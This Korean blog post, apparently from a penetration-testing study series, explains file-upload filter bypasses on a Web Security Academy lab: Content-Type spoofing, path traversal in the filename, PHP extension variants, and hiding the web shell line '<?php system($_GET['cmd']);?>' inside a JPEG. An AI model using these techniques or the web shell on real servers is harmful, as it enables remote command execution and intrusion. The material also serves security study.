본문 바로가기

모의해킹 스터디/Week14

파일 업로드 검사 우회 방법

1. MINE 타입 변경

파일 업로드시 서버로 전달되는 요청 헤더 중 Content-Type 값을 변경하는 우회 방식

image/png를 고정적으로 전달받는 서버의 경우에 text/php로 값을 변경하여 우회할 수 있다. 또한 기존의 filename을 php로 수정하고, 입력 값도 함께 수정하여 전달한다.

 

 

 

2. 실행 X 우회

 

파일을 업로드 후 이미지 파일의 경로를 따라 파일이 저장된 url로 접속하게 되면 웹 서버에서 파일을 실행시키지 않고 그대로 코드를 전송하는 경우를 볼 수 있다.

웹 서버에서 실행되지 않은 파일 코드

 

위의 이미지와 같이 실행이 되지 않는 이유는

웹 서버에서 "도메인/files/avatars/" 에 있는 파일 실행 권한을 없앴기 때문이다.

 

따라서 우회하는 방법으로는 /file/avatars/ 디렉토리를 벗어난 상태로 파일을 저장하는 것이다.

 

Burp Suite의 intercept 기능을 이용하여 request 패킷을 가져와서 filename을 "../파일명"으로 변경하여 저장을 한다.

(../ 입력시 / -> %2f, url 인코딩 필요!)

그리고 Content-Type도 text/php로 변경해준다.

변경 값을 모두 입력하고 전송을 하게 되면

 

정상적으로 전송된 것을 확인할 수 있다.

 

https://0a9a008504e1e4c68473378300ac008a.web-security-academy.net/files/avatars/webshell.php

 

이전 url 에서 한단계 이전의 디렉토리로 php 파일이 저장되었기 때문에, avatars를 지우고 파일 경로로 접속을 한다.

 

코드가 그대로 출력되지 않아 정상적으로 실행되었음을 알 수 있다.

 

 

3. 확장자 우회

웹 서버 보안 요소 중에서 php, jsp 등 디렉토리에서 확장자를 필터링 하는 경우가 있다.

 

파일명.php

php 확장자를 필터링 할 경우, 먼저 대소문자 필터링 우회를 시도한다.

예시) .PHp, .pHp, .pHP

 

만약에 대소문자 모두를 필터링 할 경우, php의 다른 확장자로 우회를 시도한다.

예시) .phtml, .php3, .php5

 

4. 파일 업로드 검사 우회

이미지 파일 코드의 앞부분에 File Signature가 입력되어 있는 점을 이용한다.

 

<우회 방법>

정상적인 이미지 파일을 하나 받고 Hex Editor로 파일을 열기

이미지 코드의 중간이나 끝 부분에 <?php system($_GET['cmd']);?> 문장 추가(16진수로 변환)

이미지 파일의 확장자를 php로 바꾸어서 사용

 

-> 웹 서버가 파일 검사를 진행할 때, 파일 자체는 이미지 파일 구조랑 똑같이 보일 수 있다.

 

jpg 이미지 파일의 File Signature

 

이미지 파일을 Hex Editor로 열어서 코드의 중간이나 끝 부분에 16진수로 변환시킨 "<?php system($_GET['cmd']);?>"를 입력한다. 입력 과정에서 오른쪽에 text로 디코딩 된 부분을 확인할 수 있다.

 

 

마지막으로 저장시에 확장자를 php로 바꾸어서 저장을 한다.

 

3단계 과정을 거치고 이미지 파일로 검사될 수 있는 php 파일을 만들 수 있다.

'모의해킹 스터디 > Week14' 카테고리의 다른 글

File Vuln 문제 풀이(Web Shell 1, 2)  (1) 2024.07.21
파일 업로드(File Upload) 공격  (0) 2024.07.21